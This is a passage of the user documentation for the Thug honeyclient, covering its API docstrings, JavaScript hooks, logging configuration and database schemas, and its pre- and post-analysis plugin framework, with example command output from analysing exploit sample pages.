    set_mongodb_instance

    Set the address ("host:port") of a running MongoDB instance to be used at_
    ↪ runtime

    @return: None
    """

def get_web_tracking():
    """
```

(continues on next page)

(continued from previous page)

```
get_web_tracking

Return True if web client tracking inspection is enabled, False otherwise.

@return: bool
"""

def set_web_tracking():
    """
    set_web_tracking

    Enable web client tracking inspection

    @return: None
    """

def add_urlclassifier(rule):
    """
    add_urlclassifier

    Add an additional URL classifier rule file

    @param rule: URL classifier rule file
    @type rule: C{str}
    @return: None
    """

def add_htmlclassifier(rule):
    """
    add_htmlclassifier

    Add an additional HTML classifier rule file

    @param rule: HTML classifier rule file
    @type rule: C{str}
    @return: None
    """

def add_jsclassifier(rule):
    """
    add_jsclassifier

    Add an additional JS classifier rule file

    @param rule: JS classifier rule file
    @type rule: C{str}
    @return: None
    """

def add_vbsclassifier(rule):
    """
    add_vbsclassifier

    Add an additional VBS classifier rule file

    @param rule: VBS classifier rule file
    @type rule: C{str}
```

(continues on next page)

(continued from previous page)

```
@return: None
"""

def add_sampleclassifier(rule):
    """
    add_sampleclassifier

    Add an additional Sample classifier rule file

    @param rule: Sample classifier rule file
    @type rule: C{str}
    @return: None
    """

def add_textclassifier(rule):
    """
    add_textclassifier

    Add an additional Text classifier rule file

    @param rule: Text classifier rule file
    @type rule: C{str}
    @return: None
    """

def add_cookieclassifier(rule):
    """
    add_cookieclassifier

    Add an additional Cookie classifier rule file

    @param rule: Cookie classifier rule file
    @type rule: C{str}
    @return: None
    """

def add_imageclassifier(rule):
    """
    add_imageclassifier

    Add an additional Image classifier rule file

    @param rule: Image classifier rule file
    @type rule: C{str}
    @return: None
    """

def add_urlfilter(filter):
    """
    add_urlfilter

    Add an additional URL filter file

    @param filter: URL filter file
    @type filter: C{str}
    @return: None
    """
```

(continues on next page)

(continued from previous page)

```
def add_htmlfilter(filter):
    """
    add_htmlfilter

    Add an additional HTML filter file

    @param filter: HTML filter file
    @type filter: C{str}
    @return: None
    """

def add_jsfilter(filter):
    """
    add_jsfilter

    Add an additional JS filter file

    @param filter: JS filter file
    @type filter: C{str}
    @return: None
    """

def add_vbsfilter(filter):
    """
    add_vbsfilter

    Add an additional VBS filter file

    @param filter: VBS filter file
    @type filter: C{str}
    @return: None
    """

def add_samplefilter(filter):
    """
    add_samplefilter

    Add an additional Sample filter file

    @param filter: Sample filter file
    @type filter: C{str}
    @return: None
    """

def add_textfilter(filter):
    """
    add_textfilter

    Add an additional Text filter file

    @param filter: Text filter file
    @type filter: C{str}
    @return: None
    """

def add_cookiefilter(filter):
```

(continues on next page)

(continued from previous page)

```
"""
add_cookiefilter

Add an additional Cookie filter file

@param filter: Cookie filter file
@type filter: C{str}
@return: None
"""

def add_imagefilter(filter):
    """
    add_imagefilter

    Add an additional Image filter file

    @param rule: Image filter file
    @type rule: C{str}
    @return: None
    """

def add_customclassifier(cls_type, method):
    """
    add_customclassifier

    Add a custom classifier.

    The parameter `cls_type` can assume the values

        html
        js
        vbs
        url
        text
        sample
        image

    and defines the custom classifier scope.

    The parameter `method` is the method (not its name) to be additionally invoked.
    The method parameters depend on the `cls_type` value and are listed here for
    convenience

        html    method(url, html)
        js      method(url, script)
        vbs     method(url, script)
        url     method(url)
        text    method(url, text)
        sample  method(sample, md5)
        image   method(url, text)

    @param cls_type: Classifier type
    @param cls_type: C{str}
    @param method: Classifier method
    @param method: method
    @return: None
    """
```

(continues on next page)

(continued from previous page)

```

def reset_customclassifiers()
    """
    reset_customclassifiers

    Reset all the custom classifiers

    @return: None
    """

def log_event():
    """
    log_event

    Log the URL analysis results

    @return None
    """

def run_local(url):
    """
    run_local

    This method should be invoked by 'analyze' method for local file analysis

    @param url: URL to analyze
    @type url: C{str}
    """

def run_remote(url):
    """
    run_remote

    This method should be invoked by 'analyze' method for URL analysis

    @param url: URL to analyze
    @type url: C{str}
    """

def analyze():
    """
    analyze

    This method is implicitly called when the ThugAPI instance is directly called
    (take a look at thug/thug.py for an example). It is a good practice to
    ↪implement
    this method in any case as entry point and invoke it directly or by calling
    ↪the
    instance (in such case implementing it is mandatory) on your requirements.
    ↪This
    method can reference just the (optional) 'args' attribute. Returning
    ↪something
    from this method is up to you if needed.

```





Starting from version 0.8.2, Thug features JavaScript hooks. This feature could be quite useful if you are required to load your own JavaScript code in a page to be analyzed. For instance, if you are interested into scanning JavaScript libraries to detect known vulnerabilities (take a look at [RetireJS](#)<sup>1</sup> for a great example of that) this feature could be quite handy.

Defining and using JS hooks is extremely simple.

If you need to execute just one JavaScript file just drop it in the directory */etc/thug/hooks* and you are done.

If you need to execute more than one Javascript file, be aware that Thug can enforce the order of execution of such files. All you need to do is to sort the file names in alphabetical order and Thug will execute them in that order. A good practice I would like to suggest is to prefix each file name with a numerical prefix (and remember that the string '10' is lesser than '9' so use '09' instead if you have to execute more than nine hooks).

Let's take a look at an example. We will make use of the following simple page and overwrite the eval method.

```
<!DOCTYPE html>
<html>
<body>
  <script type="text/javascript">
    strVar = "one";
    myVar = eval("strVar");
    alert(myVar);
  </script>
</body>
</html>
```

Let's run Thug against it

```
~ $ thug -l test.html
[2016-10-14 10:21:47] [Window] Alert Text: one
```

Let's now drop the file *1-hook.js* in the folder */etc/thug/hooks* and run Thug again

---

<sup>1</sup> [RetireJS](#) is a scanner detecting the use of JavaScript libraries with known vulnerabilities

```
~ $ ls -lh /etc/thug/hooks/
total 4.0K
-rw-r--r-- 1 root root 35 Oct 14 10:22 1-hook.js

~ $ cat /etc/thug/hooks/1-hook.js
function eval(arg) {
    return "two";
}

~$ thug -l test.html
[2016-10-14 10:22:58] [Window] Alert Text: two
```

It's easy to realize that the eval method was overwritten. Let's now drop the file 2-hook.js in the folder `/etc/thug/hooks` and run Thug again

```
~$ ls -lh /etc/thug/hooks/
total 8.0K
-rw-r--r-- 1 root root 35 Oct 14 10:22 1-hook.js
-rw-r--r-- 1 root root 37 Oct 14 10:26 2-hook.js

~$ cat /etc/thug/hooks/2-hook.js
function eval(arg) {
    return "three";
}

~ $ thug -l test.html
[2016-10-14 10:26:45] [Window] Alert Text: three
```

The two scripts are executed in the right order and the hook defined in 2-hook.js overwrites the one defined in 1-hook.js as expected. Let's now drop the file 3-hook.js in the folder `/etc/thug/hooks` and run Thug once again

```
~ $ ls -lh /etc/thug/hooks/
total 12K
-rw-r--r-- 1 root root 35 Oct 14 10:22 1-hook.js
-rw-r--r-- 1 root root 37 Oct 14 10:26 2-hook.js
-rw-r--r-- 1 root root 36 Oct 14 10:28 3-hook.js

~ $ cat /etc/thug/hooks/3-hook.js
function eval(arg) {
    return "four";
}

~ $ thug -l test.html
[2016-10-14 10:28:20] [Window] Alert Text: four
```

The three scripts are executed again in the right order and the hook defined in 3-hook.js overwrites the other ones as expected.

Let's try something more advanced now.

```
var saved_eval = this.eval;

this.eval = function() {
    alert("Hook me Captain Hook!");

    // Call the original function
    returnValue = saved_eval.apply(this, arguments);
}
```

(continues on next page)

(continued from previous page)

```
// Do your own stuff..
alert("The original return value is: " + returnValue);
alert("Is it what you expected?");

// .. and return whatever you want
return "two";
}
```

Let's take a look at what happens when we run Thug now. Please note that all the files we used in the previous examples were removed and the folder `/etc/thug/hooks` contains just the previously shown file.

```
~ $ thug -l test.html
[2016-10-16 21:02:46] [Window] Alert Text: Hook me Captain Hook!
[2016-10-16 21:02:46] [Window] Alert Text: The original return value is: one
[2016-10-16 21:02:46] [Window] Alert Text: Is it what you expected?
[2016-10-16 21:02:46] [Window] Alert Text: two
```

Seems like we actually hooked the eval method. It was not so hard in the end, isn't it?



Currently different logging modes are available in Thug. Some of them can be combined in order to store the result of the analysis in different formats if needed. By default Thug attempts storing analysis logs in a MongoDB instance (see later for a detailed explanation of the MongoDB collection schema).

The available logging modes are:

- MongoDB logging mode
- ElasticSearch
- JSON logging mode
- File logging mode

## 8.1 Logging configuration

The configuration file */etc/thug/thug.conf* defines the way Thug uses to log the results of its analyses. The default logging configuration is shown below.

```
[mongodb]
enable:    false
host:      localhost
port:      27017

[elasticsearch]
enable:    false
url:       http://192.168.56.101:9200
index:     thug
```

The different sections of the configuration files will be explained later in this document.

## 8.2 MongoDB logging mode

By default Thug attempts storing the result of its analyses in a MongoDB instance. Be aware that if you don't install MongoDB and pymongo (the Python wrapper) or if the MongoDB process is not running, Thug will just emit a warning message and then continue its analysis silently not storing the results. This could be exactly what you want but please consider that if you do not enable any other logging mode you will end up with no logs at all so bear it in mind.

The configuration file `/etc/thug/thug.conf` defines the MongoDB instance configuration parameters

```
[mongodb]
enable:      True
host:        localhost
port:        27017
```

The parameters should be quite intuitive to understand. By the way if you install MongoDB on the same host you are supposed to run Thug you should not need changing anything in the default configuration.

If you want Thug to store its results to a different MongoDB instance than that defined in your `/etc/thug/thug.conf` file, you can specify a different address at runtime, for example by using the `-mongodb-address` option from the command line. This can be especially useful when using the dockerized version of Thug, where storing results in Docker itself would mean to lose them as soon as the Docker instance is shut down.

### 8.2.1 Collection schema

#### urls

The collection `urls` is used to keep track of the URLs visited during the analysis. A URL is always associated a single entry in this collection even if it is visited multiple times (during the same analysis or in different analyses). Associating a unique ObjectID to a given URL allows to easily spot interesting scenarios like different redirection chains ending up using the same URLs.

```
{
  "url" : URL
}
```

#### analyses

The collection `analyses` is used to keep track of the Thug analyses. The analysis options used for the single analysis are stored together with other useful information like the used Thug version and the analysis datetime. Moreover the URL ObjectID of the initial URL is stored for convenience.

```
{
  "url_id"      : Initial URL url_id
  "timestamp"   : Analysis datetime
  "thug"        : {
    "version"    : Thug version
    "personality" : {
      "useragent" : User Agent
    },
    "plugins"    : {
      "acropdf"   : Acrobat Reader version (if any)
      "javaplugin" : JavaPlugin version (if any)
    }
  }
}
```

(continues on next page)

(continued from previous page)

```

        "shockwaveflash" : Shockwave Flash version (if any)
    },
    "options" : {
        "local"           : Local analysis
        "nofetch"        : Local no-fetch analysis
        "proxy"          : Proxy (if any)
        "events"         : Additional DOM events to be processed
        "delay"          : Maximum setTimeout/setInterval delay_
↔value (in milliseconds)
        "referer"       : Referer
        "timeout"        : Analysis timeout
        "threshold"      : Maximum pages to fetch
        "extensive"     : Extensive fetch of linked pages
    },
}

```

## connections

The collection *connections* is used to keep track of the redirections which could happen during the single analysis. The field *chain\_id* is a counter which is incremented by one at every redirection and it's meant to be used in order to rebuild the redirection chain in the right order while analyzing data.

```

{
  "analysis_id"      : Analysis ID
  "chain_id"        : Chain ID
  "source_id"       : Source URL url_id
  "destination_id"  : Destination URL url_id
  "method"          : Method
  "flags"           : Flags
}

```

## locations

The collection *locations* is used to keep track of the content stored at each URL visited during the analysis. The content is stored in a MongoDB GridFS and additional metadata are saved like MD5 and SHA-256 checksums, content size, content type (as served by the server) and evaluated content type.

```

{
  "analysis_id"      : Analysis ID
  "url_id"           : URL url_id
  "status"          : HTTP status code
  "content_id"      : Content ID (content stored in the GridFS fs)
  "content-type"    : Content Type
  "md5"             : MD5 checksum
  "sha256"          : SHA-256 checksum
  "flags"           : Flags
  "size"            : Data size
  "mime-type"       : Evaluated content type
}

```

### samples

The collection *samples* is used to keep track of the downloaded samples (currently supported types: PE, PDF, JAR and SWF). The sample itself is stored in a MongoDB GridFS and additional metadata are saved like MD5, SHA-1 and SHA-256 checksums, sample type and imphash (if the sample type is PE).

```
{
  "analysis_id" : Analysis ID
  "url_id"      : URL url_id
  "sample_id"  : Sample ID (sample stored in the GridFS fs)
  "type"       : Sample type
  "md5"        : MD5 checksum
  "sha1"       : SHA-1 checksum
  "sha256"     : SHA-256 checksum
  "imphash"    : Imphash (if type is PE)
}
```

### exploits

The collection *exploits* is used to keep track of the exploits which were successfully identified during the analysis while visiting the URL referenced by *url\_id*.

```
{
  'analysis_id' : Analysis ID
  'url_id'      : URL url_id
  'module'      : Module/ActiveX Control, etc. that gets exploited
  'description' : Description of the exploit
  'cve'         : CVE number (if available)
  'data'        : Additional information
}
```

### classifiers

The collection *classifiers* is used to keep track of the Thug classifiers matches that fire during the analysis while visiting the URL referenced by *url\_id*.

```
{
  'analysis_id' : Analysis ID
  'url_id'      : URL url_id
  'classifier'  : Classifier name (possible values: html, js, url, sample)
  'rule'        : Rule name
  'tags'        : Rule tags
}
```

### codes

The collection *codes* is used to keep track of the (dynamic language) snippets of code identified during the analysis.

```
{
  'analysis_id' : Analysis ID
  'snippet'     : Code snippet
  'language'    : Code language
  'relationship': Relationship with the page that references the code
}
```

(continues on next page)



(continued from previous page)

```

'tag'      : Snippet tag (cross-references)
'method'   : Analysis method
}

```

## behaviors

The collection *behaviors* is used to keep track of the suspicious and/or malicious behaviors observed during the analysis.

```

{
  'analysis_id' : Analysis ID
  'description' : Observed behavior description
  'cve'        : CVE number (if available)
  'snippet'    : Code snippet tag (if available)
  'method'     : Analysis method
  'timestamp'  : Timestamp
}

```

## certificates

The collection *certificates* is used to store the SSL certificates collected from servers during the analysis.

```

{
  "analysis_id" : Analysis ID
  "url_id"      : URL url_id
  "certificate" : SSL certificate
}

```

## graphs

The collection *graphs* is used to store the analysis JSON exploit graph.

```

{
  "analysis_id" : Analysis ID
  "graph"       : JSON exploit graph
}

```

## virustotal

The collection *virustotal* is used to store the VirusTotal sample analysis reports. The Sample ObjectID references the *samples* collection.

```

{
  "analysis_id" : Analysis ID
  "sample_id"   : Sample ID
  "report"      : VirusTotal report (JSON)
}

```

### honeyagent

The collection *honeyagent* is used to store the HoneyAgent Java sandbox sample analysis reports. The Sample ObjectID references the *samples* collection.

```
{
  "analysis_id"   : Analysis ID
  "sample_id"    : Sample ID
  "report"       : HoneyAgent report (JSON)
}
```

### json

The collection *json* is used to store the Thug analysis reports in JSON format. JSON logging mode should be enabled in order to have Thug saving data in this collection

```
{
  "analysis_id"   : Analysis ID
  "report"       : Analysis report (JSON)
}
```

### images

The collection *images* is used to store the results of the image processing analysis.

```
{
  "analysis_id"   : Analysis ID
  "url_id"        : URL url_id
  "classifier"    : Classifier (possible values: OCR)
  "result"       : Analysis result
}
```

## 8.3 Elasticsearch logging module

The Elasticsearch logging mode allows to store both the analysis results and each resource downloaded during the analysis in an Elasticsearch instance. Deploying and configuring the instance is totally up to you and no images are provided for that.

Starting from Thug version 1.6 you are required to install Python Elasticsearch Client by yourself. The reason behind this choice is that you could be interested in installing a specific library version based on the Elasticsearch version you are using. Please look at [Python Elasticsearch Client documentation](#) for additional details.

ElasticSearch logging mode is not enabled by default and you need to enable the option `-G` (`-elasticsearch-logging`). The Elasticsearch configuration is saved in the `/etc/thug/thug.conf` file. Be sure of defining the right URL for connecting to your instance. You may want to change the index name where data will be stored but this is not really necessary in the most common situations.

```
[elasticsearch]
enable:      True
url:         http://192.168.56.101:9200
index:       thug
```

## 8.4 JSON logging mode

The JSON logging mode allows to store both the analysis results and each resource downloaded during the analysis in JSON format. The JSON logging mode was enabled by default before Thug 0.5.6 together with the File logging mode. If you are using Thug 0.5.7 (or later) you have to explicitly enable it through the option `-Z` (or `-json-logging`). Please consider that the JSON log is stored in the MongoDB instance (if available). See the *MongoDB logging mode* for details. If the File logging format is enabled too, the JSON log will be stored in a JSON file in the log directory too. The JSON format is shown below.

```
{
  "url"          : Initial URL
  "timestamp"    : Analysis datetime
  "logtype"      : "json-log",
  "thug"         : {
    "version"     : Thug version
    "personality" : {
      "useragent" : User Agent
    },
    "plugins"     : {
      "acropdf"   : Acrobat Reader version (if any)
      "javaplugin" : JavaPlugin version (if any),
      "shockwaveflash" : Shockwave Flash version (if any)
    },
    "options"    : {
      "local"     : Local analysis
      "nofetch"   : Local no-fetch analysis
      "proxy"     : Proxy (if any)
      "events"    : Additional DOM events to be_
↳processed
      "delay"     : Maximum setTimeout/setInterval_
↳delay value (in milliseconds)
      "referer"   : Referer
      "timeout"   : Analysis timeout
      "threshold" : Maximum pages to fetch
      "extensive" : Extensive fetch of linked pages
    },
    "behavior"    : [],
    "code"        : [],
    "files"       : [],
    "connections" : [],
    "locations"   : [],
    "exploits"    : [],
    "classifiers" : [],
    "images"     : []
  }
}
```

Following the format and additional details about the lists containing the analysis results and the resources downloaded during the analysis.

### 8.4.1 behaviors

```
{
  'description' : Observed behavior description
  'cve'         : CVE number (if available)
  'snippet'     : Code snippet tag (if available)
}
```

(continues on next page)

(continued from previous page)

```
{
  'method'      : Analysis method
  'timestamp'   : Timestamp
}
```

## 8.4.2 codes

```
{
  'snippet'     : Code snippet
  'language'    : Code language
  'relationship': Relationship with the page that references the code
  'tag'         : Snippet tag (cross-references)
  'method'     : Analysis method
}
```

## 8.4.3 files

Each content downloaded during the analysis is saved in an entry in the *files* list.

## 8.4.4 connections

```
{
  "source"      : Source URL
  "destination" : Destination URL
  "method"      : Method
  "flags"       : Flags
}
```

## 8.4.5 locations

```
{
  "url"         : URL url
  "content"     : Content
  "status"      : HTTP status code
  "content-type": Content Type
  "md5"         : MD5 checksum
  "sha256"      : SHA-256 checksum
  "flags"       : Flags
  "size"        : Data size
  "mime-type"   : Evaluated content type
}
```

## 8.4.6 exploits

```
{
  'url'         : URL
  'module'      : Module/ActiveX Control, etc. that gets exploited
  'description' : Description of the exploit
}
```

(continues on next page)

(continued from previous page)

```

'cve'      : CVE number (if available)
'data'     : Additional information
}

```

### 8.4.7 classifiers

```

{
  'classifier' : Classifier (possible values: html, js, url, sample)
  'url'       : URL
  'rule'      : Rule name
  'tags'      : Rule tags
}

```

### 8.4.8 images

```

{
  'url'       : URL
  'classifier' : Classifier (possible values: OCR)
  'result'    : Analysis result
}

```

## 8.5 File logging mode

The File logging mode allows to store both the analysis results and each resource downloaded during the analysis in flat files. The File logging mode was enabled by default before Thug 0.5.6. If you are using Thug 0.5.7 (or later) you have to explicitly enable it through the option *-F* (or *-file-logging*). Please consider that all the information stored in flat files are stored in the MongoDB instance (if available). This option could be convenient in some situations but if you plan to analyze a huge number of URLs per day probably thinking about storing results and resources in a database is better than spread such data on your hard drive.

If you enable the File logging mode the directory which contains the logs for the session will appear as shown below

```

~/thug/src $ cd ../logs/baa880d8d79c3488f2c0557be24cca6b/20120702191511
~/thug/logs/baa880d8d79c3488f2c0557be24cca6b/20120702191511 $ ls -lhr
.:
total 232K
-rw-r--r-- 1 buffer buffer 1008 Jul  2 19:15 502da89357ca5d7c85dc7a67f8977b21
-rw-r--r-- 1 buffer buffer  81K Jul  2 19:15 analysis.xml
drwxr-xr-x 6 buffer buffer  176 Jul  2 19:15 application
-rwxr-xr-x 1 buffer buffer  89K Jul  2 19:15 d328b5a123bce1c0d20d763ad745303a
-rw-r--r-- 1 buffer buffer  51K Jul  2 19:15 Ryp.jar
drwxr-xr-x 3 buffer buffer   72 Jul  2 19:15 text

./application:
total 0
drwxr-xr-x 2 buffer buffer 96 Jul  2 19:15 java-archive
drwxr-xr-x 2 buffer buffer 96 Jul  2 19:15 pdf
drwxr-xr-x 2 buffer buffer 96 Jul  2 19:15 x-msdownload
drwxr-xr-x 2 buffer buffer 96 Jul  2 19:15 x-shockwave-flash

```

(continues on next page)

(continued from previous page)

```
./application/java-archive:
total 52K
-rw-r--r-- 1 buffer buffer 51K Jul  2 19:15 e3639fde6ddf7fd0182fff9757143ff2

./application/pdf:
total 16K
-rw-r--r-- 1 buffer buffer 15K Jul  2 19:15 3660fe0e4acd23ac13f3d043eebd2bbc

./application/x-msdownload:
total 92K
-rw-r--r-- 1 buffer buffer 89K Jul  2 19:15 d328b5a123bce1c0d20d763ad745303a

./application/x-shockwave-flash:
total 4.0K
-rw-r--r-- 1 buffer buffer 1008 Jul  2 19:15 502da89357ca5d7c85dc7a67f8977b21

./text:
total 0
drwxr-xr-x 2 buffer buffer 144 Jul  2 19:15 html

./text/html:
total 72K
-rw-r--r-- 1 buffer buffer 68K Jul  2 19:15 95ee609e6e3b69c2d9e68f34ff4a4335
-rw-r--r-- 1 buffer buffer 878 Jul  2 19:15 d26b9b1a1f667004945d1d000cf4f19e
```

In this example the MAEC 1.1 logging mode is enabled and the file *analysis.xml* contains the URL analysis results saved in MAEC 1.1 format (MAEC 1.1 logging is no longer supported). Please notice that all the resources downloaded during the URL analysis are saved in the log directory based on their Content-Type for convenience. Moreover if MongoDB is installed the information you can see in this directory are saved in the database instance as well.

---

## Plugin Framework

---

The Thug Plugin Framework was introduced in version 0.3.0 and totally redesigned in version 0.8.1. If you ever thought about extending Thug with additional features but do not know how to do it you should really keep on reading.

Let's start by taking a look at the code. Taking a look at *thug/thug.py* we can read these lines of code

```
if p:
    ThugPlugins(PRE_ANALYSIS_PLUGINS, self) ()
    p(args[0])
    ThugPlugins(POST_ANALYSIS_PLUGINS, self) ()
```

Every operation performed by Thug is started by the line *p(args[0])* so you can realize that two hooks exist in order to execute plugins in a pre and post-analysis stage. Please note that you can use the same approach even if developing external tools based on Thug API.

Let's take a look at how to use the Plugin Framework before diving deep into details of how to write a plugin. During the Thug installation process the (empty) directory */etc/thug/plugins* is created automatically. Moreover, take a look at the directory *thug/thug/Plugins/plugins* in the source tree

```
~/thug/thug/Plugins/plugins $ ls -lhR
.:
total 0
drwxr-xr-x 2 buffer buffer 41 Oct 12 09:00 POST-TestPlugin-999
drwxr-xr-x 2 buffer buffer 41 Oct 12 09:00 PRE-TestPlugin-999

./POST-TestPlugin-999:
total 4.0K
-rw-r--r-- 1 buffer buffer 885 Oct 12 09:00 Handler.py
-rw-r--r-- 1 buffer buffer  0 Oct 12 09:00 __init__.py

./PRE-TestPlugin-999:
total 4.0K
-rw-r--r-- 1 buffer buffer 885 Oct 12 09:00 Handler.py
-rw-r--r-- 1 buffer buffer  0 Oct 12 09:00 __init__.py
```

The directories *PRE-TestPlugin-999* and *POST-TestPlugin-999* contains the plugins we will be using for the next examples.

Before moving on, some details about the plugin directory name convention. The Plugin Framework expects the directory names in the following format for high-priority plugins:

```
[PHASE] - [PLUGIN NAME] - [PRIORITY]
```

or the following one for low-priority plugins (more on that later)

```
[PHASE] - [PLUGIN NAME]
```

where

- PHASE specifies if the plugin has to be executed in a pre or post-analysis stage (possible values: 'PRE', 'POST')
- PLUGIN\_NAME specifies the name of the plugin
- PRIORITY (optional) defines the plugin priority

If the plugin priority is specified (high-priority plugin), its value should be between 1 and 999. Plugin priority values greater or equal than 1000 are reserved for low-priority plugins and a plugin which does not specify a priority will be automatically assigned a priority value in such range. The plugin priority is useful if you want to enforce a specific order of execution for your plugins. For instance, if plugin B requires plugin A to operate on data before performing its task all you need to do is to define the plugin directory names this way

```
PRE-PluginA-1  
PRE-PluginB-2
```

and the Plugin Framework guarantees that plugin A will be always executed before plugin B. Note that this applies to post-analysis plugins as well.

Assigning two (or more) high-priority plugins the same priority is possible. Both plugins will be executed but the framework can not guarantee their relative order of execution.

If you respect the convention of the specifically assigned priority value between 1 and 999, not assigning a priority to a plugin will make it a low-priority plugin meaning that it will be executed after all the high-priority plugins. If you define two or more low-priority plugins, there is no guarantee about their relative order of execution but they will be executed after the high-priority ones in any case.

The suggested practice is to always assign a priority to each and every plugin in order to effectively control their relative order of execution.

Let's take a look at how to use the Plugin Framework.

```
/etc/thug/plugins $ ls -lh  
total 0  
~/thug/thug $ thug -l ../samples/exploits/22811_Elazar.html  
[2016-10-12 09:46:21] ActiveXObject: ierpctl.ierpctl  
[2016-10-12 09:46:21] [RealMedia RealPlayer Ierpplug.DLL ActiveX] Overflow in Import  
[2016-10-12 09:46:21] [RealMedia RealPlayer Ierpplug.DLL ActiveX] Overflow in_  
↪PlayerProperty
```

Let's try again after copying one of the test plugin directories provided in the source tree

```
~/thug/thug $ sudo cp -dpR Plugins/plugins/PRE-TestPlugin-999/ /etc/thug/plugins/  
~/thug/thug $ ls -lh /etc/thug/plugins/  
total 0  
drwxr-xr-x 2 buffer buffer 41 Oct 12 09:00 PRE-TestPlugin-999  
~/thug/thug $ thug -l ../samples/exploits/22811_Elazar.html
```

(continues on next page)



(continued from previous page)

```
[2016-10-12 09:48:53] [PLUGIN][TestPlugin] Phase: PRE_ANALYSIS Priority: 999
[2016-10-12 09:48:53] ActiveXObject: ierpctl.ierpctl
[2016-10-12 09:48:53] [RealMedia RealPlayer Ierpplug.DLL ActiveX] Overflow in Import
[2016-10-12 09:48:53] [RealMedia RealPlayer Ierpplug.DLL ActiveX] Overflow in_
↳PlayerProperty
```

As you can see, TestPlugin is executed in pre-analysis stage (priority 999) as expected.

Let's try again after copying the other test plugin directory provided in the source tree

```
~/thug/thug $ sudo cp -dpR Plugins/plugins/POST-TestPlugin-999/ /etc/thug/plugins/
~/thug/thug $ ls -lh /etc/thug/plugins/
total 0
drwxr-xr-x 2 buffer buffer 41 Oct 12 09:00 POST-TestPlugin-999
drwxr-xr-x 2 buffer buffer 78 Oct 12 09:48 PRE-TestPlugin-999
~/thug/thug $ thug -l ../samples/exploits/22811_Elazar.html
[2016-10-12 09:53:16] [PLUGIN][TestPlugin] Phase: PRE_ANALYSIS Priority: 999
[2016-10-12 09:53:17] ActiveXObject: ierpctl.ierpctl
[2016-10-12 09:53:17] [RealMedia RealPlayer Ierpplug.DLL ActiveX] Overflow in Import
[2016-10-12 09:53:17] [RealMedia RealPlayer Ierpplug.DLL ActiveX] Overflow in_
↳PlayerProperty
[2016-10-12 09:53:17] [PLUGIN][TestPlugin] Phase: POST_ANALYSIS Priority: 999
```

Both plugins are executed now in pre and post-analysis stage with the correct priorities. So all you need is to just drop the directory in the `/etc/thug/plugins`. But remember that if the directory name does not follow the convention, it will be just ignored!

The last step is to understand the anatomy of a plugin.

The plugin directory must contain a source file named `Handler.py` and this source file must define the class named `Handler` (entry point) which should be compliant with the following interface

```
class IPlugin(zope.interface.Interface):
    def run(thug, log):
        """
        This method is called when the plugin is invoked

        Parameters:
        @thug: Thug class main instance
        @log: Thug root logger
        """
```

If the interface is correctly implemented the `run` method is automatically called passing to it two parameters: the Thug class main instance and the Thug root logger.

Let's see a really simple example of plugin (TestPlugin)

```
import zope.interface
from .IPlugin import IPlugin

@implementer(IPlugin)
class Handler:
    def run(self, thug, log):
        log.debug(thug)
        log.debug(log)
```

This plugin just logs the parameters but you can do whatever you want. Let's try again the previous example enabling the debug option in order to see the debug messages

```
~/thug/thug $ thug -l -d ../samples/exploits/22811_Elazar.html
[2016-10-12 10:02:13] [PLUGIN][TestPlugin] Phase: PRE_ANALYSIS Priority: 999
[2016-10-12 10:02:13] <thug.thug.Thug object at 0x7f69b0ca2050>
[2016-10-12 10:02:13] <logging.Logger object at 0x7f69aa85cdd0>
[2016-10-12 10:02:13] Handling DOM Events: load,mousemove

[...]

[2016-10-12 10:02:13] ActiveXObject: ierpctl.ierpctl
[2016-10-12 10:02:13] [RealMedia RealPlayer Ierpplug.DLL ActiveX] Overflow in Import
[2016-10-12 10:02:13] [RealMedia RealPlayer Ierpplug.DLL ActiveX] Overflow in_
↔PlayerProperty
[2016-10-12 10:02:13] [PLUGIN][TestPlugin] Phase: POST_ANALYSIS Priority: 999
[2016-10-12 10:02:13] <thug.thug.Thug object at 0x7f69b0ca2050>
[2016-10-12 10:02:13] <logging.Logger object at 0x7f69aa85cdd0>
```

Do you want to pre-check if the URL domain is within a blacklist? Just do it with a pre-analysis plugin. Do you want to extract and/or correlate information from the log files? Just do it with a post-analysis plugin.

- genindex
- modindex
- search